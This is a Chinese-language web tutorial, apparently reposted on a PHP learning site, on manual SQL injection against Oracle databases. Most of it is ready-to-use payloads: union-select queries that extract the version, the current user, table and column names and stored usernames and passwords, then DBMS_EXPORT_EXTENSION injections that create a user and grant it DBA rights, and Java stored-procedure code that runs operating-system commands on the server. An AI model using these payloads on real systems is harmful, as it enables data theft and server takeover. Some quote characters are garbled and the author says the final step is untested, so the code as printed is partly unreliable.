好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

ORACLE数据库手工注入详解 - 网站安全 - 自学php

这些天一直浑浑噩噩,也没写过什么文章(其实是不知道写什么好),今天看到bystander写了一个mysql手工注入的文章,关键是还加贡献了,这让我等小菜心动不已啊,快放假了,估计写了这篇之后,在来 论坛 都要到年后了。我没那么好的文采,大家将就一下哈!

 

依葫芦画瓢,我也来一个目录:

0x00:判断 数据库 类型

0x01:获取基本信息

0x02:得到当前库所有表名

0x03:得到所有列名

0x04:获取列中数据

0x05:获取所有数据库

0x06:利用ORACLE的systeminfo权限拿下服务器下面是正文:

判断注入,我就不说了,大家都很熟悉了,and 1=1和and 1=2 ,当然我们这篇文章是建立在有注入的前提下,如果没找到的话,请直接略过。

当我们找到注入点的话,一般类似与 asp /php/aspx?id=1这样的形式,(我没见过其他两种,见过的都是asp+oracle这种奇葩),在后面加注释符–,如果返回正常的话,大致可以判断数据库类型是 mssql 或者oracle,之后在根据oracle里面所特有的表查询

例如:and exist(select * from dual) 或者and exists(select * from user_tables)

利用的原理是dual表和user_tables表是oracle中的 系统 表

返回正常,那么就可以肯定这是oracle了,接下来你就要抓狂了,因为oracle 注入工具不多。只能手工了。0×01 获取基本信息1. 判断过注入了,接下来就看有几个字段了,同样可以使用oder by N 根据返回页面判断,这里不再赘述,由于oracle中对于字段类型要求很严格,所以在union查询之前,我们首先要确定字段类型,可以用如下语句and 1=2 union select NULL,NULL,……,NULL from dual–中间省略

这样就成了and 1=2 union select 1,NULL,……,NULL from dual–中间省略

如果正确,则说明在数据库中这个字段是数字类型,如果在当前页有此列数据,则也会在当前页特定位置显示。

如果错误,这将其替换成and 1=2 union select ‘1’,NULL,……,NULL from dual–中间省略

返回正常则说明此列是字符类型了。在下文中,我们假设为数字型,并且有6个字段

2. 接下来,我们获取数据库版本and 1=2 union select 1,2,(select banner from sys.v_$version where rownum=1),4,5,6 from dual

这里使用了sql语句的嵌套,然后在可以显示的位置,查询sys.v_$version,返回banner信息,同时也是数据库版本信息

3. 然后获取操作系统版本and 1=2 union select 1,2,( select member from v$logfile where rownum=1),4,5,6 from dual

3. 获取连接数据库的当前用户and 1=2 union select 1,2,( select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’)from dual),4,5,6 from dual

现在服务器的基本信息,我们已经可以得到了,那么接着往下走,你应该知道该干什么了。0×02 获取当前库中所有表名and 1=2 union select 1,2,( select table_name from user_tables where rownum=1),4,5,6 from dual

 

 

oracle中数据库中所有的表都是保存在user_tables这张表中,这样我们就获得了第一个表名,假设是news 接下来再来获取第二个and 1=2 union select 1,2,( select table_name from user_tables where rownum=1 and table_name<>’news’),4,5,6 from dual

这样就得到了第二个表名,我们假设是manage 然后以此类推就可以得到所有的表名0x03:得到所有列名and 1=2 union select 1,2,( select column_name from user_tab_columns where table_name=’manage’ and rownum=1),4,5,6 from dual

系统表多了就是这种好处,什么都可以去系统表中找到,如果再碰上盲注,那不哭了。

然后才查询第二个表名,假设第一个得到的是usernameand 1=2 union select 1,2,( select column_name from user_tab_columns where table_name=’manage’ and rownum=1 and column_name<>’username’),4,5,6 from dual

这样第二个就出来了,架设是password 同样是依次类推即可得到所有的列名0x04:得到列中数据

查询指定列中数据没什么好说的,就像其他数据库一样and 1=2 union select 1,2,username,4,5,6 from manage

and 1=2 union select 1,2,password,4,5,6 from manage

这样用户名,密码都可以得到了0x05:获取所有数据库

这种情况是存在你需要跨裤的情况下,其实一般情况下用不到,至于原因嘛,由各位看官自己体味了。

先来爆出第一个数据库名and 1=2 union select 1,2,(select owner from all_tables where rownum=1),4,5,6 from dual

然后第二个,假设第一个是current_dband 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>’current_user’),4,5,6 from dual

然后就不用我说了吧,各位应该都很熟悉了。0x06:利用ORACLE的systeminfo权限拿下服务器

oracle本身经常是已system运行的,所以拿下了oracle基本拿下了服务器了

1. 首先是添加账户,利用的命令如下:and ‘’||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT].PUT(:P1);EXECUTE IMMEDIATE ]DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ]]Create USER linux IDENTIFIED BY linux]];END;];END;–’,'SYS’,0,’1′,0)=]—

2. 查看账户是否添加成功and]||(select user_id from all_users where username=’linux’)

3. 接下来是把我们建立的用户加入到dba中and]||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT].PUT(:P1);EXECUTE IMMEDIATE ]DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ]]grant linux to rebeyond]];END;];END;–’,'SYS’,0,’1′,0)=]—

4. 之后没得说了就是为我们建立的用户赋予远程连接的权限and]||(select SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT].PUT(:P1);EXECUTE IMMEDIATE ] DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ] ] GRANT CONNECT to linux ] ];END;–’,SYS’,0,’1′,0) from dualp

下面就远程连接了,连接之后需要建立存储过程

第一步:create or replace and compile

java souRCe named [util]

as

import java.io.*;

import java.lang.*;

public class util extends Object

{

public static int RunThis(String args)

{

Runtime rt = Runtime.getRuntime();

int RC = -1;

try

{

Process p = rt.exec(args);

int bufSize = 4096;

BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);

int len;

byte buffer[] = new byte[bufSize];

// Echo back what the program spit out

while ((len = bis.read(buffer, 0, bufSize)) != -1)

System.out.write(buffer, 0, len);

RC = p.waitFor();

}

catch (Exception e)

{

e.printStackTrace();

RC = -1;

}

finally

{

return RC;

}

}

}

第二步: www.2cto.com

create or replace

function RUN_CMz(p_cmd in varchar2) return number

as

language java

name ‘util.RunThis(java.lang.String) return integer’;

第三步:

create or replace procedure RC(p_cmd in varChar)

as

x number;

begin

x := RUN_CMz(p_cmd);

end;

创建完之后,就可以通过x := RUN_CMz( dos 命令)来执行系统命令了。(注:此处笔者未测试)

到这一步了,我想你知道这就意味着什么了吧.

查看更多关于ORACLE数据库手工注入详解 - 网站安全 - 自学php的详细内容...

  阅读:65次